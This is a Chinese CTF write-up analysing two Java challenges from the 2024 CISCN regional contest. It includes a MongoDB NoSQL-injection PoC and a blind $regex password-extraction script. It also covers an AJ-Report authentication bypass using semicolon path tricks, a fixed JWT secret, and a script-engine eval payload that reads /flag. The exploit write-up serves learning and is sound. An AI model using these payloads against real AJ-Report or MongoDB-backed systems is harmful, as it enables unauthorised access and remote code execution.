2024ciscn-华中
前言
比赛报名忘组队了,有点遗憾没能参加。赛后找朋友要到了比赛中两个java题目的源码,一块来分析一下看看。
ezjava
环境分析
先捋一下这道题的一个思路!首先访问/会映射出登录页面
登录是/login接口发起一个POST请求。
从源码可以看出来,在第一次访问/login接口时会初始化一个username为admin,password为随机32位字符
的数据进入数据库,这块采用单例模式,确保数据仅初始化一次。
点击登录后,会拿我们传入的数据去数据库查询信息
- 若查询不到,则返回
username or password incorrect
- 若查到信息后,提取出
password
字段与我们输入的进行比对- 若匹配失败返回
password incorrect
- 若匹配成功,則读取flag
- 若匹配失败返回
漏洞分析
该项目使用的是mongodb
数据库,并且存在明显的拼接点
nosql注入,我们拿一个联合注入的poc试一下
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456
调试发现可以成功查询到信息,但由于和我们传入的password值不匹配所以返回信息password incorrect
poc
编写nosql布尔盲注的脚本跑出密码
import requests
url = "http://127.0.0.1:9999/login"
mylist = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""
proxies = {}
for i in range(32):
for j in mylist:
data = {
"username":"admin","password":"','password':{'$regex':'^"+password+j+".*'},'username':'admin"
}
#','password':{'$regex':'^x.*'},'username':'admin
r = requests.post(url,data=data,proxies=proxies)
if r.text.find("username or password incorrect")==-1:
password+=j
print(password)
输入admin和跑出来的密码就OK
aj-report
前段时间这个系统刚爆出过新漏洞,那会打算分析的,看到已经有师傅发过了,就大概看了一下也没自己走一遍了
那就借着这个赛题来分析一下吧!
权限绕过
filter绕过
这块使用的是getRequestURI()
(1)结合springmvc的特征:
- 移除所有的分号
- 移除分号后面直到下一个斜杠”/”之间的所有字符
构造如下进行绕过:
/;swagger-ui/xxx/xxx/
(2)uri截断绕过
/xxx/xxx/xxx;swagger-ui
jwt固定秘钥
漏洞分析
javax.script.ScriptEngine
类是java自带的用于解析并执行js代码,eval()函数可以执行传递给它的任何JavaScript代码,包括命令执行。
反编译jar
去全局搜索eval(
发现两处,先挑一处分析
js会从传入dto中获取js脚本内容,没有进行过滤,直接执行。
现在就往上找,找調用点就行
poc
import requests
url = "http://8.147.132.114:26002/dataSetParam/verification"
payload = '''
function verification(data){
return new java.util.Scanner(new java.io.File("/flag")).next();
}
'''
json={
"sampleItem": "1",
"validationRules": payload
}
res = requests.post(url, json=json)
print(res.text)
sink2
可以发现com.anjiplus.template.gaea.business.modules.datasetparam.service.impl.DataSetParamServiceImpl#verification(List<DataSetParamDto>, Map<String,Object>)
这块也调用到了
继续向上找com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform
最终找到入口com.anjiplus.template.gaea.business.modules.dataset.controller.DataSetController#testTransform
sink3
就刚开始搜eval(
时发现的第二处
最后也是走到/dataSet/testTransform
下,就是构造的参数不同